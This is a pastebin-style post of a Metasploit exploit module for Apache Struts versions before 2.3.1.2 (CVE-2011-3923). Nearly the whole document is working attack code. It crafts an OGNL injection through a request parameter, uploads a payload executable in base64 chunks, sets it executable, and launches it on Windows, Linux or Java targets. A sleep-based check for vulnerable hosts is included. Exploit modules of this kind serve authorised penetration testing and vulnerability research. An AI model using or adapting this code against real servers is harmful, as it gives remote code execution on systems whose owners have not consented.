Apache Struts ParametersInterceptor Remote Code Execut


SUBMITTED BY: Guest

DATE: Nov. 25, 2013, 9:15 p.m.

FORMAT: Text only

SIZE: 7.2 kB

HITS: 2230

  1. ##
  2. # This file is part of the Metasploit Framework and may be subject to
  3. # redistribution and commercial restrictions. Please see the Metasploit
  4. # web site for more information on licensing and terms of use.
  5. # http://metasploit.com/
  6. ##
  7. require 'msf/core'
  8. class Metasploit3 < Msf::Exploit::Remote
  9. Rank = ExcellentRanking
  10. include Msf::Exploit::Remote::HttpClient
  11. include Msf::Exploit::EXE
  12. include Msf::Exploit::FileDropper
  13. def initialize(info = {})
  14. super(update_info(info,
  15. 'Name' => 'Apache Struts ParametersInterceptor Remote Code Execution',
  16. 'Description' => %q{
  17. This module exploits a remote command execution vulnerability in Apache Struts
  18. versions < 2.3.1.2. This issue is caused because the ParametersInterceptor allows
  19. for the use of parentheses which in turn allows it to interpret parameter values as
  20. OGNL expressions during certain exception handling for mismatched data types of
  21. properties which allows remote attackers to execute arbitrary Java code via a
  22. crafted parameter.
  23. },
  24. 'Author' =>
  25. [
  26. 'Meder Kydyraliev', # Vulnerability Discovery and PoC
  27. 'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
  28. 'mihi' #ARCH_JAVA support
  29. ],
  30. 'License' => MSF_LICENSE,
  31. 'References' =>
  32. [
  33. [ 'CVE', '2011-3923'],
  34. [ 'OSVDB', '78501'],
  35. [ 'URL', 'http://blog.o0o.nu/2012/01/cve-2011-3923-yet-another-struts2.html'],
  36. [ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-009']
  37. ],
  38. 'Platform' => [ 'win', 'linux', 'java'],
  39. 'Privileged' => true,
  40. 'Targets' =>
  41. [
  42. ['Windows Universal',
  43. {
  44. 'Arch' => ARCH_X86,
  45. 'Platform' => 'windows'
  46. }
  47. ],
  48. ['Linux Universal',
  49. {
  50. 'Arch' => ARCH_X86,
  51. 'Platform' => 'linux'
  52. }
  53. ],
  54. [ 'Java Universal',
  55. {
  56. 'Arch' => ARCH_JAVA,
  57. 'Platform' => 'java'
  58. },
  59. ]
  60. ],
  61. 'DisclosureDate' => 'Oct 01 2011',
  62. 'DefaultTarget' => 2))
  63. register_options(
  64. [
  65. Opt::RPORT(8080),
  66. OptString.new('PARAMETER',[ true, 'The parameter to perform injection against.',"username"]),
  67. OptString.new('TARGETURI', [ true, 'The path to a struts application action with the location to perform the injection', "/blank-struts2/login.action?INJECT"]),
  68. OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
  69. ], self.class)
  70. end
  71. def execute_command(cmd, opts = {})
  72. inject = "PARAMETERTOKEN=(#context[\"xwork.MethodAccessor.denyMethodExecution\"]=+new+java.lang.Boolean(false),#_memberAccess[\"allowStaticMethodAccess\"]"
  73. inject << "=+new+java.lang.Boolean(true),CMD)('meh')&z[(PARAMETERTOKEN)(meh)]=true"
  74. inject.gsub!(/PARAMETERTOKEN/,Rex::Text::uri_encode(datastore['PARAMETER']))
  75. inject.gsub!(/CMD/,Rex::Text::uri_encode(cmd))
  76. uri = String.new(datastore['TARGETURI'])
  77. uri = normalize_uri(uri)
  78. uri.gsub!(/INJECT/,inject) # append the injection string
  79. resp = send_request_cgi({
  80. 'uri' => uri,
  81. 'version' => '1.1',
  82. 'method' => 'GET',
  83. })
  84. return resp #Used for check function.
  85. end
  86. def exploit
  87. #Set up generic values.
  88. @payload_exe = rand_text_alphanumeric(4+rand(4))
  89. pl_exe = generate_payload_exe
  90. append = 'false'
  91. #Now arch specific...
  92. case target['Platform']
  93. when 'linux'
  94. @payload_exe = "/tmp/#{@payload_exe}"
  95. chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
  96. exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
  97. when 'java'
  98. @payload_exe << ".jar"
  99. pl_exe = payload.encoded_jar.pack
  100. exec_cmd = ""
  101. exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
  102. exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
  103. exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
  104. exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
  105. exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
  106. exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
  107. exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
  108. exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
  109. when 'windows'
  110. @payload_exe = "./#{@payload_exe}.exe"
  111. exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
  112. else
  113. fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
  114. end
  115. #Now with all the arch specific stuff set, perform the upload.
  116. #109 = length of command string plus the max length of append.
  117. sub_from_chunk = 109 + @payload_exe.length + datastore['TARGETURI'].length + datastore['PARAMETER'].length
  118. chunk_length = 2048 - sub_from_chunk
  119. chunk_length = ((chunk_length/4).floor)*3
  120. while pl_exe.length > chunk_length
  121. java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
  122. pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
  123. append = true
  124. end
  125. java_upload_part(pl_exe,@payload_exe,append)
  126. execute_command(chmod_cmd) if target['Platform'] == 'linux'
  127. execute_command(exec_cmd)
  128. register_files_for_cleanup(@payload_exe)
  129. end
  130. def java_upload_part(part, filename, append = 'false')
  131. cmd = ""
  132. cmd << "#f=new java.io.FileOutputStream('#{filename}',#{append}),"
  133. cmd << "#f.write(new sun.misc.BASE64Decoder().decodeBuffer('#{Rex::Text.encode_base64(part)}')),"
  134. cmd << "#f.close()"
  135. execute_command(cmd)
  136. end
  137. def check
  138. sleep_time = datastore['CHECK_SLEEPTIME']
  139. check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
  140. t1 = Time.now
  141. print_status("Asking remote server to sleep for #{sleep_time} seconds")
  142. response = execute_command(check_cmd)
  143. t2 = Time.now
  144. delta = t2 - t1
  145. if response.nil?
  146. return Exploit::CheckCode::Safe
  147. elsif delta < sleep_time
  148. return Exploit::CheckCode::Safe
  149. else
  150. return Exploit::CheckCode::Appears
  151. end
  152. end
  153. end

comments powered by Disqus